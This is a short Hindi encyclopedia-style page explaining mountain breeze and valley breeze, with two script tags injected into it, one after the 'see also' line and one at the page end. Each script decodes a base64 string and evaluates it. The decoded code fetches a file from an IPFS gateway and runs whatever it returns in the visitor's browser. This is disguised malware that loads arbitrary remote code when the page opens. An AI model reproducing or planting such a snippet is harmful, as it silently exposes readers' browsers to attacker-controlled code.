पर्वत समीर
भारत डिस्कवरी प्रस्तुति
पर्वत समीर (अंग्रेज़ी: Mountain breeze) अर्थात् पर्वत की चोटियों से घाटियों की ओर बहने वाली ठंडी, भारी पवन।
- पर्वत के ऊँचे क्षेत्र रात के समय, विशेष रूप से जब आकाश स्वच्छ होता है, ऊष्मा विकिरित करके, अपेक्षाकृत अधिक ठंडे हो जाते हैं। इससे उनके ऊपर की वायु भी ठंडी हो जाती है और वह घाटियों की ओर बहने लगती है। इसी को 'पर्वत समीर' कहते हैं।
- इसके विपरीत दिन के समय धूप निकलने पर पर्वतीय ढाल वाला क्षेत्र उसकी घाटियों की अपेक्षा अधिक गर्म हो जाता है, जिसके कारण पवन का संचरण घाटी से ऊपर की ओर होने लगता है। इसे 'घाटी समीर' कहा जाता है।
इन्हें भी देखें: भूगोल शब्दावली, भारत का भूगोल एवं भारत एक झलक<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>